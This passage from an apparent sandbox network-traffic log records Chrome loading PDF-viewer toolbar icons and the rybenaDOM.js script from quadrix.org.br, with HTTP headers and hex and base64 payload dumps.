2024-05-10 07:20:57 UTC	228	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 ab 49 44 41 54 78 da 8d 8d 31 0a c2 40 10 45 07 04 4f a0 85 95 77 d8 13 78 08 0f 22 7a 20 b1 58 42 20 04 16 f4 04 41 b0 10 04 0b 41 51 10 8d 12 b2 c1 de 42 bf 62 76 19 36 bb 85 ff 75 f3 1e 0c fd 31 74 31 41 81 c7 8f 1c 73 0c 9a 45 9b fa d3 31 ae c8 bf dc 70 7f 17 9c f0 3a 07 89 8b e5 b9 20 7f b3 21 ce 96 d7 91 fc 8d 7a 38 31 14 58 0b 7b 86 42 c3 8e 71 85 32 bf b7 8c b9 a8 ba 10 5a 61 e3 a3 15 09 32 13 55 8a b5 4b 95 1a 6d 93 32 c1 8a 29 13 47 9b 47 31 96 35 3a 66 ed 26 11 32 64 3a 62 ed 27 52 4b d6 c1 a4 a9 3f 0d 15 bc 49 36 13 1a a4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATx1@EOwx"z XB AAQBbv6u1t1AsE1p: !z81X{Bq2Za2UKm2)GG15:f&2d:b'RK?I6IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49761	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	376	OUT	GET /web/images/toolbarButton-print.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	401	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 250 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=257 ETag: "0b13f30441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:34 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6f7e38810e-ORD
2024-05-10 07:20:57 UTC	250	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 c1 49 44 41 54 78 da 8d c9 bd 0a 82 50 18 c6 f1 e7 0a ea 56 fa ba 80 b3 b5 15 5d 42 43 dd 47 44 57 d0 d4 d4 12 d4 58 43 1f ab 83 d8 10 08 06 81 a0 24 82 0e 0e ed 4e 4f 47 09 7d 11 91 fe bf e1 f0 3e 07 7f c6 2b 3f 15 37 c8 18 af e6 50 a5 e5 8c b1 fc 3e 33 44 1b b2 16 43 5e 8a 4b 1f 01 2a 31 60 58 1e 3e 7d c8 e4 c6 23 23 ba da 00 22 f6 f3 2d e2 09 fa 79 e5 de 0c 85 e0 b7 ba a0 43 67 3c 19 8e e9 d4 03 6d cd d3 ec 7a e0 a3 19 78 6f 86 64 4f 93 66 bc f3 36 50 25 6f 13 ef b2 3d 39 00 5d a8 c5 94 d6 7a 04 d1 7a 44 6b 31 85 42 0f 59 e9 96 06 6d 3e 05 9b 46 ba 45 51 07 aa 46 07 00 be 77 36 01 53 e2 84 99 d0 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxPV]BCGDWXC$NOG}>+?7P>3DC^K*1`X>}##"-yCg<mzxodOf6P%o=9]zzDk1BYm>FEQFw6SIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49756	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	377	OUT	GET /web/images/toolbarButton-pageUp.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 231 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=246 ETag: "801aa72f441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:33 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6f7cbee24a-ORD
2024-05-10 07:20:57 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 ae 49 44 41 54 78 da 63 20 11 fc df f1 7f 07 3e e9 ed ff 9f 01 e1 76 5c d2 db fe 3f f9 ff 08 08 9f fc df 86 4d 7a 0b 50 ea 01 04 02 59 5b d0 a5 37 ff bf ff ff 2e 02 02 79 9b 91 a5 37 fe bf f3 ff 26 2a 04 8a 6c 84 49 af 07 72 af 61 42 a0 e8 7a 88 0a 43 06 07 10 fc 7f 09 01 21 22 40 19 14 77 9c 47 40 ec de 3c 83 04 39 b1 28 f8 7d e4 ff 09 18 fc 6a 8a 45 c1 8b 65 ff 8f c2 e0 b7 4e 2c 0a 66 46 fd 3f f8 ff 30 14 9e fc ef 8c a9 42 b0 3d e9 e5 a2 df 7b 80 ca 80 10 a8 24 ed bf 20 86 12 a0 c7 6c a1 5e b4 63 90 67 60 65 60 00 00 05 7a bc e9 0e a6 18 be 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxc >v\?MzPY[7.y7&*lIraBzC!"@wG@<9(}jEeN,fF?0B={$ l^cg`e`zIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49757	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	381	OUT	GET /web/images/toolbarButton-menuArrows.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 103 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=107 ETag: "80c0442d441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:29 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6f6c851249-ORD
2024-05-10 07:20:57 UTC	103	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 07 00 00 00 10 08 04 00 00 00 70 88 ad 7b 00 00 00 2e 49 44 41 54 78 da 63 a0 14 fc e7 ff bf e0 3f 3f 8c c3 f2 7f ed ff 67 40 cc 02 e1 2e 01 72 40 70 09 7e 33 d0 14 63 1a 85 b0 88 52 e7 02 00 bb c1 27 e7 ea 7d 8c af 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRp{.IDATxc??g@.r@p~3cR'}IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49759	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	379	OUT	GET /web/images/toolbarButton-download.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	401	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 247 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=259 ETag: "02aac2c441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:28 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6f7d112334-ORD
2024-05-10 07:20:57 UTC	247	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 be 49 44 41 54 78 da 8d 8b 3b 0a c2 40 14 45 5f 25 ae 22 9d 76 16 0a f6 53 d8 8b f6 6e 41 0b c1 0d e9 1e 6c 44 8d 21 24 45 20 62 21 58 08 22 6a 48 e3 0a 24 d7 f9 90 79 c9 60 e1 3b d5 3d 73 86 fe 3a ac f1 ae 22 cd ac 1e bc f0 a8 22 4d 5e 4b 70 af a3 4d 86 29 07 37 87 3e 09 89 c7 c1 d5 e1 89 4c c1 c1 c5 30 18 aa 9f a3 71 b9 39 38 1b a8 a1 67 b3 dc 1c 9c 0c ee e6 20 35 b8 9b 83 04 c9 7c 42 c2 0a b1 98 28 c7 41 8c f8 b3 87 67 b7 57 ec 94 e3 20 94 44 c5 d6 24 68 cb e7 48 39 0e 02 4d 58 6c d0 42 07 3e 42 63 6c 90 2f e1 6b 02 1c 91 e2 60 56 be 22 7b 5d 12 3f e8 11 11 7d 01 23 e5 ec 9f fd 60 4c 6b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATx;@E_%"vSnAlD!$E b!X"jH$y`;=s:""M^KpM)7>L0q98g 5\|B(AgW D$hH9MXlB>Bcl/k`V"{]?}#`LkIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49760	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	387	OUT	GET /web/images/toolbarButton-presentationMode.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 320 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=321 ETag: "801aa72f441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:33 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6f7b0561c7-ORD
2024-05-10 07:20:57 UTC	320	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 01 07 49 44 41 54 78 da 63 20 02 fc 7f 07 85 75 70 91 3a 98 18 84 fb 04 04 2f cd 65 50 82 eb 51 ba 38 1b 22 0a 51 f0 08 04 bf 1d f9 2f 0c 37 81 ef db 1e 88 28 84 fb e0 d2 ac 8f 87 ff 3f fc 77 00 a8 04 2c fd 6f fb ff 47 5f 4e 5e 9e f3 ff 01 58 c1 e9 c9 0c 2a 6e 4e 1f 0e fe bf f7 23 1d c4 ff 9e f4 ff fe e7 e3 21 9e 0c aa 40 19 10 00 db cd ea e6 b4 a3 89 41 06 cc 97 da d3 0a 94 66 87 c8 20 00 2b 50 1a 06 64 81 d2 24 83 ff bc ff 83 e0 ec b0 ff 42 c8 52 e9 20 e9 7f 6b fe 5f fd 1f 09 95 be fa 6f 0b 50 09 48 06 2c 70 f1 7f ee bf 55 ff cf 7c da da a0 07 e2 e7 68 bc df f0 ff f4 bf cd ff 0b fe 5f 84 28 38 fa ff dc ff 93 9f 36 fb bb 43 9d c6 6a ef f8 7e dd ff 93 Data Ascii: PNGIHDR7IDATxc up:/ePQ8"Q/7(?w,oG_N^X*nN#!@Af +Pd$BR k_oPH,pU\|h_(86Cj~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	714	OUT	GET /assets/quadrix-basic/scripts/rybenaDOM.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	434	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: application/javascript Content-Length: 40550 Connection: close Cf-Bgj: minify Cf-Polished: origSize=56504 ETag: "0a78afbb921d21:0" Last-Modified: Sat, 08 Oct 2016 23:16:22 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6fed072bf4-ORD
2024-05-10 07:20:57 UTC	935	IN	Data Raw: 76 61 72 20 72 79 62 65 6e 61 52 65 70 6f 73 69 74 6f 72 79 55 72 6c 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 79 62 65 6e 61 2e 63 6f 6d 2c 62 72 2f 52 79 62 65 6e 61 52 65 70 6f 73 69 74 6f 72 79 2f 22 3b 76 61 72 20 73 65 72 76 65 72 55 72 6c 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 79 62 65 6e 61 2e 63 6f 6d 2e 62 72 2f 52 79 62 65 6e 61 53 65 72 76 65 72 2f 43 6f 64 65 41 70 70 6c 69 63 61 74 69 6f 6e 22 3b 76 61 72 20 73 63 72 69 70 74 52 79 62 65 6e 61 4c 6f 61 64 65 64 3d 30 3b 76 61 72 20 62 61 72 72 61 4c 61 74 65 72 61 6c 53 69 6d 70 6c 65 73 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 43 6f 41 41 41 42 70 43 41 59 41 41 41 42 4d 44 37 47 5a Data Ascii: var rybenaRepositoryUrl="http://www.rybena.com,br/RybenaRepository/";var serverUrl="http://www.rybena.com.br/RybenaServer/CodeApplication";var scriptRybenaLoaded=0;var barraLateralSimples="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAABpCAYAAABMD7GZ
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 61 4d 41 74 58 69 2b 4c 77 77 6d 2b 6b 50 4b 2f 4e 6e 58 71 31 4c 50 79 38 76 4b 61 2b 67 52 31 62 49 56 75 6e 6a 78 51 41 43 39 77 57 57 49 4b 4b 38 33 41 61 45 4e 77 44 2f 44 54 50 6b 46 52 44 6f 34 5a 50 71 6d 67 41 4f 4e 52 70 48 6a 54 61 51 72 55 2f 54 41 33 4e 2f 65 35 6f 71 4b 69 58 69 46 30 6c 41 57 6e 41 46 51 41 35 78 67 47 36 31 41 35 43 57 35 76 4c 70 44 66 4b 36 6a 74 43 44 54 37 6d 46 34 61 2f 64 59 6f 5a 53 4f 45 6c 45 70 59 70 2f 55 4a 4b 68 77 48 54 68 46 6f 6b 71 56 41 53 6f 48 55 55 76 74 4b 71 31 74 4b 6f 6c 6e 78 76 64 56 6b 55 69 4c 71 69 75 76 67 77 7a 2b 69 77 76 31 2f 53 41 45 67 51 53 6f 68 2b 67 51 56 6a 6f 6c 53 64 6e 79 67 33 37 2b 62 37 39 35 32 4a 65 38 48 41 36 69 50 6c 76 59 62 74 41 74 75 6e 39 49 42 73 4f 4c 6f 54 46 4a Data Ascii: aMAtXi+Lwwm+kPK/NnXq1LPy8vKa+gR1bIVunjxQAC9wWWIKK83AaENwD/DTPkFRDo4ZPqmgAONRpHjTaQrU/TA3N/e5oqKiXiF0lAWnAFQA5xgG61A5CW5vLpDfK6jtCDT7mF4a/dYoZSOElEpYp/UJKhwHThFokqVASoHUUvtKq1tKolnxvdVkUiLqiuvgwz+iwv1/SAEgQSoh+gQVjolSdnyg37+b7952Je8HA6iPlvYbtAtun9IBsOLoTFJ
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 53 38 2b 50 61 59 61 6a 67 75 6f 35 39 5a 37 53 5a 38 2b 67 2f 71 43 41 74 6a 77 4d 65 45 39 4f 7a 43 58 4c 71 5a 34 36 57 4c 63 59 38 65 54 73 2b 69 58 37 50 6c 38 37 62 47 43 4b 6d 68 2f 37 30 72 44 77 44 76 2f 5a 39 68 37 64 78 46 61 39 69 72 4b 6a 76 46 39 76 4f 47 76 68 48 4c 50 78 6a 74 6d 48 4f 47 30 64 4c 4a 79 63 6a 44 62 51 76 69 2f 57 49 2b 73 71 79 49 63 74 6a 72 71 36 4b 38 6b 67 42 49 43 4a 51 53 4f 62 57 50 39 38 66 2f 51 78 6f 34 6e 34 66 46 66 67 71 35 31 33 4f 73 70 49 43 58 42 34 6d 4c 71 48 37 36 64 34 4a 72 6c 4a 49 2f 49 6f 58 48 46 4d 6c 70 65 65 41 49 41 4e 65 70 30 4b 68 2b 2f 70 2b 66 38 38 59 41 65 6c 6c 4b 4b 74 67 50 37 38 66 2f 30 78 31 67 48 53 30 6e 39 32 57 49 30 72 36 66 58 41 6e 77 4c 6e 69 66 31 32 64 39 6a 5a 49 38 69 Data Ascii: S8+PaYajguo59Z7SZ8+g/qCAtjwMeE9OzCXLqZ46WLcY8eTs+iX7Pl87bGCKmh/70rDwDv/Z9h7dxFa9irKjvF9vOGvhHLPxjtmHOG0dLJycjDbQvi/WI+sqyIctjrq6K8kgBICJQSObWP98f/Qxo4n4fFfgq513OspICXB4mLqH76d4JrlJI/IoXHFMlpeeAIANep0Kh+/p+f88YAellKKtgP78f/0x1gHS0n92WI0r6fXAnwLnif12d9jZI8i
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 34 61 52 5a 4c 50 31 34 56 66 52 56 76 30 64 4f 57 75 55 59 6a 54 54 68 58 6f 62 68 46 47 61 68 71 6c 70 61 58 55 31 64 57 53 6b 52 48 5a 54 68 64 43 6f 47 6c 61 78 32 2f 39 77 6b 4d 48 71 6d 4b 59 50 35 38 34 30 4f 79 68 61 4a 71 47 78 2b 4e 68 37 64 70 50 75 4f 47 47 37 30 58 67 70 49 61 75 36 78 32 67 41 36 4c 58 36 31 6f 45 36 6c 42 46 42 53 55 6c 65 7a 76 67 64 46 31 48 31 2f 57 42 41 36 71 31 41 79 58 36 66 48 79 32 66 6a 32 32 62 53 4d 45 55 61 41 44 59 6e 6a 53 74 45 34 33 42 34 4a 42 74 6d 33 37 43 6e 6d 45 36 77 63 4d 36 4f 47 4f 6b 35 43 51 51 50 37 6d 50 46 77 75 56 39 66 4f 35 41 77 4d 31 32 74 36 68 35 74 31 58 63 66 6c 64 6e 50 6f 30 43 46 30 58 55 66 54 4e 45 7a 4c 72 42 73 51 46 74 55 31 32 57 47 39 43 4c 6a 47 73 4f 48 44 30 54 53 4e 55 Data Ascii: 4aRZLP14VfRVv0dOWuUYjTThXobhFGahqlpaXU1dWSkRHZThdCoGlax2/9wkMHqmKYP5840OyhaJqGx+Nh7dpPuOGG70XgpIau6x2gA6LX61oE6lBFBSUlezvgdF1H1/WBA6q1AyX6fHy2fj22bSMEUaADYnjStE43B4JBtm37CnmE6wcM6OGOk5CQQP7mPFwuV9fO5AwM12t6h5t1XcfldnPo0CF0XUfTNEzLrBsQFtU12WG9CLjGsOHD0TSNU
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 77 4f 75 57 61 42 70 5a 4a 57 39 42 45 4a 71 56 43 69 35 39 67 66 52 4d 69 4c 53 73 71 66 55 65 50 6a 38 4f 61 37 52 59 39 50 43 78 70 52 30 33 6f 68 4b 47 54 4f 54 71 62 71 67 4e 56 32 42 76 58 64 58 2b 51 79 37 46 52 53 69 45 4d 41 77 43 6c 62 46 54 37 75 39 79 32 54 4a 53 37 75 34 4f 73 38 55 38 64 75 37 52 52 51 64 66 66 51 67 69 73 36 69 70 4b 62 37 2b 4f 35 76 30 48 6d 50 6a 4f 68 37 6a 50 6e 48 78 55 32 35 56 75 4e 30 4b 41 73 6b 79 45 70 71 45 62 42 73 49 4d 49 34 54 41 38 48 6f 68 47 49 7a 4f 63 30 51 64 63 59 48 53 4e 64 4f 52 6e 78 56 74 6d 2f 43 4c 54 37 44 7a 68 52 65 59 2b 49 74 66 59 63 79 37 4e 54 70 4e 37 76 6d 55 46 68 38 45 42 54 4c 42 68 39 66 72 77 6d 36 6f 42 79 46 49 7a 73 70 41 31 46 52 45 70 7a 2b 79 6a 68 69 6c 48 2b 37 70 53 68 Data Ascii: wOuWaBpZJW9BEJqVCi59gfRMiLSsqfUePj8Oa7RY9PCxpR03ohKGTOTqbqgNV2BvXdX+Qy7FRSiEMAwClbFT7u9y2TJS7u4Os8U8du7RRQdffQgis6ipKb7+O5v0HmPjOh7jPnHxU25VuN0KAskyEpqEbBsIMI4TA8HohGIzOc0QdcYHSNdORnxVtm/CLT7DzhReY+ItfYcy7NTpN7vmUFh8EBTLBh9frwm6oByFIzspA1FREpz+yjhilH+7pSh
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 48 4d 41 41 41 41 65 43 41 59 41 41 41 41 66 4b 53 46 69 41 41 41 41 42 47 64 42 54 55 45 41 41 4c 47 50 43 2f 78 68 42 51 41 41 41 43 42 6a 53 46 4a 4e 41 41 42 36 4a 67 41 41 67 49 51 41 41 50 6f 41 41 41 43 41 36 41 41 41 64 54 41 41 41 4f 70 67 41 41 41 36 6d 41 41 41 46 33 43 63 75 6c 45 38 41 41 41 41 42 6d 4a 4c 52 30 51 41 41 41 41 41 41 41 44 35 51 37 74 2f 41 41 41 41 43 58 42 49 57 58 4d 41 41 41 73 53 41 41 41 4c 45 67 48 53 33 58 37 38 41 41 41 63 4f 30 6c 45 51 56 52 6f 33 75 57 61 65 5a 68 64 56 5a 58 32 66 33 75 66 34 64 35 62 74 2b 59 6b 6c 61 51 71 52 65 61 6b 68 6f 78 6b 49 49 6e 42 4d 4e 6a 51 61 63 41 52 42 52 75 31 4e 51 70 43 5a 47 70 55 6b 45 43 43 47 52 42 55 6f 42 47 46 69 4c 62 54 4a 39 6f 4f 67 41 6f 30 4d 68 4d 67 42 4d 69 41 Data Ascii: HMAAAAeCAYAAAAfKSFiAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAAsSAAALEgHS3X78AAAcO0lEQVRo3uWaeZhdVZX2f3uf4d5bt+YklaQqReakhoxkIInBMNjQacARBRu1NQpCZGpUkECCGRBUoBGFiLbTJ9oOgAo0MhMgBMiA
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 5a 4c 78 57 64 48 39 50 35 6b 66 51 74 7a 4e 53 42 39 65 6a 6d 77 75 47 6e 72 68 78 63 33 62 62 31 34 63 66 4f 32 43 35 58 6a 66 45 64 45 30 45 71 36 6e 56 77 34 79 59 59 63 46 4b 55 4f 36 6f 70 30 43 59 43 4a 31 47 72 42 61 58 47 7a 5a 72 34 32 30 69 77 4b 4e 44 4c 65 4d 37 59 44 59 33 75 57 31 39 65 2f 73 6d 7a 63 35 4d 76 36 6c 62 36 38 76 76 47 62 79 38 63 33 37 6e 45 6a 36 54 42 57 48 77 2b 4e 62 6b 2f 34 34 65 64 6a 6a 76 31 31 5a 48 53 4c 57 48 56 63 49 52 33 66 61 4a 68 77 38 4a 39 48 6a 56 6b 4a 49 4e 6e 4f 52 71 75 63 34 7a 30 78 2f 36 57 4d 30 6b 4f 53 57 69 31 64 55 64 64 34 34 4b 37 52 59 2f 2b 6c 66 39 33 33 44 53 71 4c 36 55 78 34 55 49 65 32 57 43 6d 5a 36 55 55 71 4b 4d 72 61 6f 38 59 6c 4f 4f 62 48 69 77 46 55 4f 74 56 49 75 71 65 43 66 Data Ascii: ZLxWdH9P5kfQtzNSB9ejmwuGnrhxc3bb14cfO2C5XjfEdE0Eq6nVw4yYYcFKUO6op0CYCJ1GrBaXGzZr420iwKNDLeM7YDY3uW19e/smzc5Mv6lb68vvGby8c37nEj6TBWHw+Nbk/44edjjv11ZHSLWHVcIR3faJhw8J9HjVkJINnORquc4z0x/6WM0kOSWi1dUdd44K7RY/+lf933DSqL6Ux4UIe2WCmZ6UUqKMrao8YlOObHiwFUOtVIuqeCf
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 75 72 32 39 38 48 76 53 6e 6e 49 67 5a 67 69 43 41 46 75 61 42 7a 4c 4e 41 6e 30 6c 38 46 63 55 4f 4c 45 4f 55 55 6d 32 4c 74 32 2f 70 58 6c 62 58 30 4b 4a 45 4d 46 70 76 57 54 46 72 32 6b 53 62 79 72 38 4d 55 6f 36 6f 45 33 74 70 45 58 6f 64 72 78 66 67 76 74 33 72 65 37 35 63 50 2b 33 6d 38 75 4c 67 69 33 65 4f 61 31 68 6d 48 54 46 52 56 2b 70 41 55 42 6e 37 35 6f 70 4e 6d 37 49 41 51 61 70 48 78 50 66 51 78 6b 41 38 52 49 55 78 78 4d 2b 44 35 35 50 70 54 6a 47 34 66 6a 7a 56 59 32 70 50 72 48 2f 32 46 5a 63 77 63 75 5a 6b 53 71 71 48 45 50 63 64 61 75 74 48 41 72 44 78 34 53 64 59 76 2f 4a 48 74 4b 33 64 51 4e 6d 41 4d 71 71 6d 54 71 4a 6d 78 6d 53 30 71 39 6e 30 30 35 2f 69 68 69 48 34 50 6c 71 70 51 61 45 56 6d 30 71 6e 4a 4b 46 64 48 42 48 45 42 4d Data Ascii: ur298HvSnnIgZgiCAFuaBzLNAn0l8FcUOLEOUUm2Lt2/pXlbX0KJEMFpvWTFr2kSbyr8MUo6oE3tpEXodrxfgvt3re75cP+3m8uLgi3eOa1hmHTFRV+pAUBn75opNm7IAQapHxPfQxkA8RIUxxM+D55PpTjG4fjzVY2pPrH/2FZcwcuZkSqqHEPcdautHArDx4SdYv/JHtK3dQNmAMqqmTqJmxmS0q9n005/ihiH4PlqpQaEVm0qnJKFdHBHEBM
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 48 62 52 41 4e 75 59 54 6d 31 4a 50 35 65 41 71 59 6b 55 4a 57 6a 5a 74 49 65 72 6f 6f 75 45 44 46 37 44 6d 6c 6d 57 55 6c 42 62 52 74 58 38 76 4e 67 72 77 79 38 71 35 39 4a 58 6e 36 47 30 37 7a 49 2b 6d 7a 38 52 4e 4a 6c 47 4f 57 79 41 57 2b 6b 4b 68 71 35 42 76 43 2b 72 33 6e 4d 79 46 41 43 7a 62 75 66 6d 7a 4b 2b 6f 62 48 77 71 56 54 64 61 57 65 63 6e 41 4b 6a 63 51 38 77 74 48 36 54 63 52 47 51 4c 79 59 55 66 68 74 6d 5a 79 78 54 48 48 2b 55 32 35 37 37 30 76 45 67 6e 36 51 4d 6d 56 75 50 37 47 37 2b 37 64 6b 77 48 59 30 4e 57 52 33 39 44 56 63 66 35 56 6b 32 62 55 6a 73 72 33 6a 73 6b 70 78 36 4a 51 4b 71 4a 5a 6c 50 6f 64 69 6b 6f 55 62 78 5a 41 56 4e 65 68 71 41 59 35 66 6d 76 7a 74 6b 50 4c 78 6b 38 63 70 62 47 7a 52 42 45 44 6f 6e 34 62 41 74 72 Data Ascii: 